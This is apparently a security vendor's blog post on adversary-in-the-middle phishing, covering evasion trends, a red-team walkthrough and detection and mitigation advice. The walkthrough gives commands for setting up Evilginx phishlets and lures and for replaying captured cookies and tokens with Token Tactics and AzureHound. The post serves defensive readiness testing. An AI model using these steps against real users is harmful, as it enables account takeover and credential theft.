Adapting to a changing environment is precisely what we have seen cybercriminals do as the boundaries of many organisations have become increasingly blurred, defences more layered, and identity compromise becoming the key to initial access. For many, this shift was forced upon them very quickly during the COVID-19 pandemic, where remote work capabilities were required at exceptionally short notice. Even those who had already embraced a remote work model faced revised threat models, as adversaries capitalised on globally increased exposure by evolving identity-centric attack techniques and targeting. Arguably, none were more representative of the refined tradecraft than Scattered Spider/Octo Tempest. They demonstrated exceptional knowledge of cloud environments and identity providers, which had not yet been seen among cybercriminal actors, and for many defenders, their intrusions are still among the best examples of their kind.
“Adapt or perish, now as ever, is nature’s inexorable imperative.”
– H. G. Wells
As reported in 2024’s Digital Defense Report by Microsoft, while the industry has seen a 41% increase in MFA adoption over the past year, threat actors have adapted, leading to a 146% growth in Adversary-in-the-Middle (AitM) phishing attacks. These attacks aim to automate the capture of valuable authentication tokens, compromising otherwise well-protected accounts. We can reasonably infer that this growth has been fuelled by the expansion of the Phishing-as-a-Service market, which significantly lowers the barriers to acquiring AitM phishing capabilities, allowing criminals to focus on their objectives. In addition to AitM phishing kits, infostealer malware families such as LummaC2, Vidar, and RedLine now dominate the malware landscape, supplying growing log marketplaces and underground “clouds of logs”.
In this blog post, marking the start of 2024’s Cyber Smart Week, we’ll explore four key aspects of phishing:
- What are tokens?
- What we’re seeing in the wild.
- Testing your readiness.
- Detection and mitigation opportunities.
Throughout the week, you can expect in-depth analysis of emerging phishing trends, techniques, and campaigns. So keep an eye on our blog and socials for updates.
What Are Tokens?
Identity providers, such as Entra ID, are predominantly built upon an authorisation standard known as OAuth 2.0. Central to how OAuth operates are two digital assets called tokens, which are issued upon the successful authentication of user credentials:
- Access token: Grants access to a protected resource on behalf of a user or application.
- Refresh token: Renews access tokens without requiring reauthentication.
The access token is presented to resources in the header of HTTP requests (typically in the form of a cookie). These resources validate the signature, expiration time, and claims against the issuing authorisation server. Tokens may contain information (claims) such as the username, source IP, MFA, and any privileges a user holds. While the flow can vary between implementations, in the case of Entra ID, it looks like this:
Source: Microsoft
As a result, possession of authentication tokens effectively grants ownership of an identity. Tokens can be transferred to other applications, allowing requests to be made under the context of the identity for which they were issued. Their utility is therefore wide ranging, from querying the Graph API through to navigating Microsoft 365 services in a browser session as the victim.
What We’re Seeing
Aside from thematic observations, we have seen growing adoption of a variety of evasion techniques.
Trusted Landing Pages
In most circumstances, links embedded within phishing messages are assessed by mail filters that employ network reputation databases and sandbox analysis to score the safety of the target:
- Where the target is trusted, filters may be more lenient towards indicators of malice observed in sandbox results.
- If the target does not appear to be collecting credentials or performing other malicious actions, a user may be permitted to visit a low reputation website.
Combining both approaches, and directing victims to a benign page on a trusted domain, will net the best possible result for campaign operators. Effectively, the landing pages serve as a means of ensuring only intended victims are redirected to the actual phishing kit, and other visitors see no immediate cause for suspicion:
Source: Microsoft
A combination of tactics can help to achieve this:
Legitimate Services
Any service that grants users the ability to store and share links with the public has the potential to be used as a landing page. Examples include document collaboration platform such as OneNote, site builders such as Wix and Google Sites, and storage platforms such as Google GCS, Amazon S3, Azure Blob Storage and Cloudflare R2. Those that can serve up user-defined HTML or scripting languages, including Azure App Services and Amazon’s Elastic Beanstalk, may also be used to host the phishing kit itself.
Malicious artifacts that are hosted on such widely used platforms inherit the reputation of an otherwise legitimate service, and messages linking to them are therefore more likely to be successfully delivered to inboxes than if they were hosted on - for example - a compromised WordPress site. The same principle also helps to circumvent network intrusion detection systems. In addition to the evasion benefits and increasing the potential lifespan of campaign infrastructure, the use of legitimate services also has the potential to evoke greater trust from victims.
Web Application Firewalls
Cloud WAF platforms, such as Cloudflare, offer two main benefits to phishing campaigns:
- Mitigating automated traffic with JavaScript tests, browser fingerprinting and interactive challenges.
- Introducing delays that surpass sandbox execution time limits, meaning they never reach the phishing kit.
One such example:
And the kit which loads after completing the turnstile challenge:
IP Restrictions
IP allowlisting may be used to constrain access to only the residential and commercial IP ranges relevant to the victimology. Those who do not connect from within a permitted range are presented an HTTP 403 response or are redirected elsewhere. An automated scanner connecting from within the infrastructure of a security vendor or VPN service could not observe the redirect or phishing kit, and would therefore have no reason to classify the URL as suspicious.
QR Codes
After becoming a feature of daily life during the pandemic, trust in QR codes has become implicit for many people. They’ve been widely seen in legitimate use cases like contact tracing, restaurant menus and mobile booking apps. When scanned, QR codes present the user with a URL to visit to continue their action, be that to download a file or be taken to a form - the same objective as phishing.
In the context of phishing, using QR codes in place of embedded links has the effect of moving a detectable threat from the corporate environment to the mobile device of the victim, where detection capability is typically much lower. There is no target URL for mail filters to inspect (although, some platforms now have the ability to identify and parse QR codes). The campaign operator also retains full control of the redirect URL, without the risk of it being proxied through an inspection service like Defender for Office 365’s Safe Links.
It has been most common to see QR codes being used in combination with trusted brands, including Adobe, Microsoft and DocuSign, with lures that directly instruct the recipient to scan the image and complete a task such as review a document.
Thread Hijacking
Email thread hijacking (or conversation hijacking) is by no means new. The technique involves replying to an existing email chain, sourced either through account compromise or an exfiltrated inbox, to give credibility to a malicious message. In 2017 it was seen used by a North Korean APT spear phishing campaign dubbed “FreeMilk”, in 2018 more broadly as part of a URSNIF malspam campaign, and from 2019 onwards by other malware families such as Emotet and Qakbot:
In more recent years we have seen this technique expand to other cybercrime practices, including Business Email Compromise (BEC):
Our observation has been that BEC replies may be used either of two ways:
- To distribute phishing messages to contacts of the victim and expand the pool of accounts available to the threat actor. The time between compromise and email sending can be a matter of minutes.
- To intervene in an active thread and subvert a transaction.
Adversary-in-the-Middle
A user interacts with a link, is taken through a redirect, completes the Cloudflare turnstile, and lands on what looks like an Office 365 login: now what?
As adoption of MFA and mitigations such as Conditional Access have become more widespread, the efficacy of traditional phishing kits has drastically reduced. Compromised username and password pairs can still be used to attempt sign-in to cloud accounts, but run a high risk of being halted by MFA, whereas OAuth based systems assume authentication has already successfully completed when presented valid tokens.
Adversary-in-the-Middle (AitM) attacks involve directing a user to connect to a target application, such as Office 365 or Okta, through an adversary-controlled proxy server. The server proxies the connection to the legitimate site to which the victim submits their username and password, and completes any MFA challenges. While the victim appears to sign into the application, they are effectively signing the adversary into it and providing them both their cleartext credentials and resulting authentication tokens:
Source: Microsoft
Restrictive access policies may also require the use of commercial VPN’s or residential proxies to fall within geofencing, and browser fingerprint spoofing to bypass user agent checks.
Publicly available tools and Platform-as-a-Service offerings already exist to automate the handling of DNS, proxying of connection and capture of tokens - so this is a capability with an exceptionally low barrier to obtain.
Testing Your Readiness
One such tool that can be used to automate AitM attacks is Evilginx, an open-source framework developed by renowned offensive security researcher Kuba Gretzky. The subject of open-source offensive security tooling (OST) is often a contentious one in defensive circles. We take the perspective that OST is going to be developed and abused regardless, so you can either:
- Validate your detection coverage and response preparedness by taking advantage of available tooling, and investing in your own research and development.
- Choose not to, and assume coverage and preparedness.
Until the day that open-source OST does not exist, or it in no way reflects what threat actors use, then it is of net benefit to include it in your security program.
Requisites
To begin with, you will require:
- A domain to use for testing.
- A T3.medium (or equivalent) VM with statically assigned elastic IP. Ubuntu 22.04 was used in this case.
I’d encourage you to notify your domain registrar and AWS (using this form) to forewarn them of the planned activity, to avoid you having your accounts nuked.
Domain Preparation
Create ns1 and ns2 glue records for your domain, pointing them at your elastic IP. In Namecheap, it’d be done as follows:
You’ll need to wait a while for the NS records to roll out. This may be 10-60 minutes.
While waiting, you can set up Evilginx:
sudo snap installgo nodecd /optgit clone https://github.com/kgretzky/evilginx2cd evilginx2makemv build/evilginx2 .
Grab whatever extra phishlets you need from GitHub, for example:
- https://github.com/simplerhacking/Evilginx3-Phishlets
- https://github.com/An0nUD4Y/Evilginx2-Phishlets
- https://github.com/BakkerJan/evilginx3
Unless recently maintained, they may require some modification to work properly.
When the NS records have propagated out, continue with the Evilginx setup. If using systemd-resolve, ensure this is stopped to allow Evilginx to listen on port 53:
sudo systemctl stop systemd-resolvedTo continue to resolve DNS, you’ll need to define new nameservers in /etc/resolv.conf.
Cloudflare may be used in combination with Evilginx infrastructure. Have a read of this blog post to see how.
Running a Campaign
As an example, to deploy an Office 365 themed phish with URL prefix “m365” you’d enter the following:
sudo ./evilginxconfig domain <domain>config ipv4 external <elastic IP>phishlets hostname o365 <your_domain>phishlets enable o365
Optionally, you can also force visitors who do not include your unique URL parameters to be redirected elsewhere:
phishlets unauth_url o365 <https://outlook.office.com>Evilginx can also be configured to proxy outbound traffic through an HTTP or SOCKS proxy. A potential use case for this could be ensuring that traffic to the targeted service egresses a specific geolocation, using a local HTTP proxy and commercial VPN or residential proxy service:
proxy
proxy type socks5
proxy address 127.0.0.1
proxy port 1080
proxy enableWhen everything is hanging together properly, the enable command will issue the certificates required to serve the phishlet subdomains, and you’ll be presented with a successful message. After seeing this, you can initialise a lure and record the target URL:
lures create o365lures get-url 0
The unique path serves both to ensure that requests to the server are authorised and to direct the recipient to the intended template:
The Evilginx console will confirm when credentials and tokens have been captured:
As above, to dump the captured session objects, type:
sessions <id>Abusing Tokens
There are many tools available to leverage the captured tokens, but for demonstration purposes, we’ll look at two options and how they can be combined.
The Cookie Editor plugin for Chromium based browsers is able to import the JSON object straight out of the Evilginx console:
Imported cookies are loaded upon page refresh, presenting an authenticated session as the victim:
The Token Tactics PowerShell module can be passed the ESTSAUTHPERSISTENT cookie from Evilginx or use device auth flow to obtain a refresh token from the Graph API:
Get-AzureTokenFromESTSCookie - ESTSAuthCookie "value of the ESTSAUTHPERSISTENT cookie"Get-AzureToken -Client MSGraph
This module has a single pre-requisite which can be installed with: Install-Module -Name Az -AllowClobber -Scope CurrentUser
Using the refresh token returned by Token Tactics, AzureHound can then run under the context of the victim account to identify potential escalation pathways in the target tenant:
./azurehound -r "value of the refresh token" list --tenant tenant.domain.here -o output.json
Import the outputted JSON into the BloodHound web UI, and start finding interesting paths:
The authors of BloodHound Enterprise have some fantastic posts on their blog about Azure and Active Directory privilege management, pathfinding, and offensive tradecraft. It’s well worth your time giving it a visit if these subjects are of interest to you.
Review
Following test execution, it’s important to determine whether any detections have been associated with the impacted entities and if those detections offer adequate coverage to disrupt a genuine incident. It is also important to understand what relevant telemetry has been generated, as this could not only help establish a detailed timeline of events but may also be unique enough to support the creation of new detections. Beyond evaluating detection capability, explore potential configuration changes and hardening opportunities that may reduce the likelihood of the emulated attack succeeding.
Detection and Mitigation Opportunities
- Microsoft customers can use Entra ID Protection, Sentinel UEBA, and Defender for Cloud Apps to detect identity-based attacks. CrowdStrike customers can use Identity Protection. All detections should be triaged and responded to as they occur, and not on an ad-hoc basis.
With respect to the contents of this post, pay very close attention to: impossible travel activities, activity from infrequent countries, anomalous tokens, stolen cookies, potentially malicious URL clicks, connection to adversary-in-the-middle phishing sites, unfamiliar sigh-in properties and anonymous IP addresses. - Enforce phishing resistant MFA solutions, such as Windows Hello or FIDO2 security keys.
- Configure best practice Conditional Access policy. Shorten user sessions to minimise the length of time a token is viable for, and consider previewing Microsoft's Token Protection capability.
- Implement security boundaries within your Azure environment.
- Ensure Microsoft Defender SmartScreen is enabled on all user devices.
- Configure your Microsoft 365 environment according to a reputable standard, such as the CIS Benchmark.
- Provide all staff with regular education campaigns that inform them of emerging threats and social engineering trends. Make sure they have a means of reporting phishing and that someone knowledgeable is on the receiving end of reports to give offer constructive feedback to those who take the time to make reports. Do not be fooled into thinking that you can condition staff with phish testing. It doesn’t work.
If you’d like to discuss any of this blog in more detail, or have an interest in our Incident Simulation engagements, please get in touch with us.
COMMENTS